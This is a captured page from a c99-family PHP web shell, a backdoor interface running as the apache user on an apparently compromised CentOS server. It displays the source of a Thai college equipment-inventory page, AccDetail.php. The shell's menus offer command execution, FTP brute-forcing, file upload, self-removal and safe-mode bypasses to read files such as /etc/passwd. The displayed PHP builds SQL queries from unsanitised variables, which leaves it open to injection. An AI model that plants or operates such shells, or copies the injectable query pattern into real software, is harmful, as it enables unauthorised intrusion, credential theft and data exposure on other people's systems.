!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Durable_depart/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AccDetail.php (11.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if (! session_is_registered("valid_user") &&session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
include(
"../include/Function.php");
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "accessories_tb";
        
$myTable1 ="accessories_type_tb";
        
$myTableFK "AccId";

        
$query " SELECT *  FROM $myTable  WHERE  AccId ='$AccId' ";
        
$result0 $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result0);    
        
         
$Acc_type_code $rs['Acc_type_code'];   
       
$query " SELECT *  FROM $myTable1  WHERE  Acc_type_code='$Acc_type_code' ";
       
$result $dbObj->execQuery($query);
       
$rss $dbObj->fetchArray($result);
/**  โฟลเดอร์ไฟล์เอกสาร */
    
$Img1 str_replace"../"""$rs['Img1'] );
    
$doc_path $Img1."/Man_pic";


        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<title>รายละเอียด</title>

<script type="text/javascript" src="../js/utilities.js"></script>
<style type="text/css">
<!--
.style1 {
    color: royalblue;
    font-weight: bold;
}
.style2 {color: royalblue}
.style3 {color: royalblue; font-size: 14px; }
.style4 {color: royalblue; font-size: 14px; font-weight: bold; }
.style31 {color: royalblue; font-size: 14px; }
.style11 {    color: royalblue;
    font-weight: bold;
}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><?php

    ?>
      <fieldset>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="2"></td>
      </tr>
    </table>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post"   enctype="multipart/form-data" action="InsertAcc.php" onSubmit="return checkData();" >
      <tr>
        <td width="70%" height="30" align="left" background="../images/background/bg-head-topic.gif" class="PADDING-LEFT-10"><strong><span class="style2"><a href="index.php"><span class="PADDING-LEFT-10"><span class="style1">หน้าหลัก</span></span></a> </span>&raquo; <span class="style2">ข้อมูลมูลครุภัณฑ์</span></strong></td>
        <td width="30%" align="right" class="PADDING-LEFT-10 PADDING-RIGHT-15">&nbsp;</td>
      </tr>
      <tr>
        <td height="385" colspan="2" align="center" valign="top">
          <table width="760" border="0" align="center" cellpadding="1" cellspacing="1">
            <tr>
              <td height="10"></td>
            </tr>
            <tr>
              <td height="10"><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
            </tr>
            <tr>
              <td height="10">&nbsp;</td>
            </tr>
          </table>
          <table width="713" border="0" align="center" cellpadding="1" cellspacing="2"  class="BORDER-GREY">
            <tr>
              <th height="16" colspan="2" align="center" bgcolor="#FFFFFF" class="style2" scope="col">&nbsp;</th>
            </tr>
            <tr>
              <th height="31" colspan="2" align="center" bgcolor="#FFFFFF" class="style2" scope="col"><span style="padding-left:3px">
                <input type="radio" name="Dura" id="Dura" <?php if (!(strcmp("$rs[Dura]","Y"))){echo "checked";} ?>  value="Y"   />
              ครุภัณฑ์  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <input type="radio" name="Dura" id="Dura"   <?php if (!(strcmp("$rs[Dura]","N"))){echo "checked";} ?>  value="N" />
วัสดุ/อะไหล่</span></th>
              </tr>
            <tr>
              <td colspan="2" align="left" ><strong>รหัสครุภัณฑ์วิทยาลัย : :</strong> <?php  echo"$rs[Acc_no]"?> </a></td>
              </tr>
              <tr>
                <td colspan="2" align="left" bgcolor="#FFFFFF"><strong>เลขที่หรือรหัสครุภัณฑ์ (ตามทะเบียนคุมทรัพสิน) : :</strong><?php  echo"$rs[Acc_code]"?></td>
                </tr>
              <tr>
                <td colspan="2" align="left" bgcolor="#FFFFFF"><strong>รายการหรือชื่อครุภัณฑ์ : :</strong> <?php echo"$rs[Acc_name]";
      
?></td>
                </tr>
              <tr>
                <td height="28" colspan="2" align="left" bgcolor="#FFFFFF"><strong>รุ่น/แบบ : :</strong> <?php  echo"$rs[Acc_module]"?></td>
                </tr>
              <tr>
                <td height="22" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>ประเภทครุภัณฑ์ : : </strong><?php
                  $Acc_type_code 
$rs['Acc_type_code'];
                  
$strSQL1 "SELECT * FROM accessories_type_tb  Where  Acc_type_code='$Acc_type_code' ";
                 
$result1 mysql_query($strSQL1);
                 while( 
$rs1 mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rs1[Acc_type_code]\" >$rs1[Acc_type]</option>\n";
                }
               
            
?>
                </a></td>
                </tr>
              <tr>
                <td height="22" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>แหล่งเงิน : :</strong> <?php
             $MoneyS_C  
$rs['MoneyS_C'];
            
$strSQL1 "SELECT * FROM money_source_tb  Where     MoneyS_C='$MoneyS_C' ";
            
$result1mysql_query($strSQL1);
                 while( 
$rs1 mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rs1[MoneyS_C]\" >$rs1[MoneyS_M]</option>\n";
                } 
            
?>
                </a></td>
                </tr>
              <tr>
                <td height="22" colspan="2" align="left" bgcolor="#FFFFFF"><strong>วิธีการที่ได้มา  ::</strong> <?php  echo"$rs[Fix_detail]"?>
                  </td>
                </tr>
              <tr>
                <td height="24" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>วันที่จัดซื้อ ::</strong> <?php  
                $sday 
$rs['Date_buy'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?>
                  </a></td>
                </tr>
              <tr>
                <td height="22" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>วันที่หมดอายุการใช้งาน :: </strong>
                  <?php  
                $sday 
$rs['Date_buy'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] )+ $rss ['Year'];     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?>
                </td>
                </tr>
              <tr>
                <td height="22" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>ราคาที่จัดซื้อ/หน่วย ::</strong> <?php echo number_format($rs['Price'],2,'.',','); ?></td>
                </tr>
              <tr>
                <td colspan="2" align="left" bgcolor="#FFFFFF" ><strong>จำแนกเป็นครุภัณฑ์   ::</strong> <?php  echo"$rs[Fund]"?>
                </span></td>
                </tr>
              <tr>
                <td colspan="2" align="left" bgcolor="#FFFFFF" ><strong>หน่วยงาน /ฝ่าย :: </strong>             
                  <?php
            $Faculty_code 
$rs['Faculty_code'];        
           
$strSQL3 "SELECT * FROM  faculty_tb  Where   Faculty_code='$Faculty_code'  ";
           
$result3 mysql_query($strSQL3);
                 while( 
$rs3 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs3[Faculty_code]\" >$rs3[Faculty_name]</option>\n";
                }
                             
          
?>         
                </a></td>
                </tr>
              <tr>
                <td height="22" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>ใช้ประจำที่/สถานที่จัดเก็บ :: </strong><?php
         $RoomId 
=  $rs['RoomId'];    
           
$strSQL3 "SELECT * FROM  room_tb   Where  code='$RoomId'    ";
           
$result3 mysql_query($strSQL3);
                 while( 
$rs3 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs3[code]\" >$rs3[Room_name]</option>\n";
                }
                             
          
?>
               </td>
                </tr>
              <tr>
                <td height="25" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>ลักษณะคุณสมบัติของครุภัณฑ์ ::</strong></td>
                </tr>
              <tr>
                <td height="27" colspan="2" align="left" bgcolor="#FFFFFF" >&nbsp;&nbsp;<?= (nl2br($rs['Statistic'])) ;?></td>
                </tr>
              <tr>
                <td height="27" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>เลขที่เอกสารที่ได้มา:: </strong><?php  echo"$rs[In_document]"?></td>
                </tr>
              <tr>
                <td height="27" colspan="2" align="left" bgcolor="#FFFFFF"><strong>หลักฐานการจ่ายเงิน :: </strong><?php echo"$rs[Price_document]";  ?></td>
                </tr>
              <tr>
                <td height="27" colspan="2" align="left" bgcolor="#FFFFFF" ><strong> รายการที่เปลี่ยนแปลง :: </strong><?php  echo"$rs[Modify_detail]"?></td>
                </tr>
              <tr>
                <td height="27" colspan="2" align="left" bgcolor="#FFFFFF"><strong>เลขที่เอกสารที่เปลี่ยนแปลง :: </strong><?php echo"$rs[Modify_document]"?></td>
                </tr>
              <tr>
                <td height="27" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>ชื่อผู้ขาย / บริจาค :: </strong><?php echo"$rs[Name]";  ?></td>
                </tr>
              <tr>
                <td height="16" colspan="2" align="left" bgcolor="#FFFFFF"><strong>ที่อยู่ผู้ขาย :: </strong><?= (nl2br$rs['Address']));?></td>
                </tr>
              <tr>
                <td height="22" colspan="2" align="left" bgcolor="#FFFFFF" ><strong>โทรศัพท์ :: </strong><?php echo"$rs[Phone]";  ?></td>
                </tr>
              <tr>
                <td width="145" height="16" bgcolor="#FFFFFF" class="style2">&nbsp;</td>
                <td width="562" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td height="16" colspan="2" align="center" bgcolor="#FFFFFF" ><img src="../Man_pic/<?php echo $rs['Img1']; ?>" /></td>
              </tr>
              </table>
          <br />
          <br />          &nbsp;&nbsp;&nbsp;
              <table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td>
          <?php if( $numrows ) { ?>
          <?php #if ?></td>
        </tr>
      </table>
     <br /></td></tr>
     </form>
     </table>
    </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0148 ]--